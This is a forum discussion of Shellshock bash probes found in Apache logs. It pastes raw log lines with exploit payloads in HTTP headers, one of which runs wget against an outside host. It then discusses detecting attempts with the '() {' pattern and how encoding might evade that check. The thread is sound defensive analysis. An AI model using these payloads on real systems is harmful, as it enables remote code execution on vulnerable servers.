Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.
One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.
8.37.217.196 - - [30/Sep/2014:14:25:48 +0000] "GET http://www.example.com/ HTTP/1.1" 200 57344 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
93.103.21.231 - - [30/Sep/2014:20:23:00 +0000] "GET http://example.com/cgi-sys/entropysearch.cgi HTTP/1.1" 301 0 "-" "() { :;}; /usr/bin/wget http://taxiairportpop.com/s.php?s=http://example.org/cgi-sys...
Not sure what the first one is doing, but the second one seems to be an exploit in a search engine for self-hosted websites and apparently a part of cpanel (or at least deployable via it).
I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.
Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.
If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.
Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.
I would worry similarly about some mail headers being helpfully reassembled, then handed to procmail in environment variables.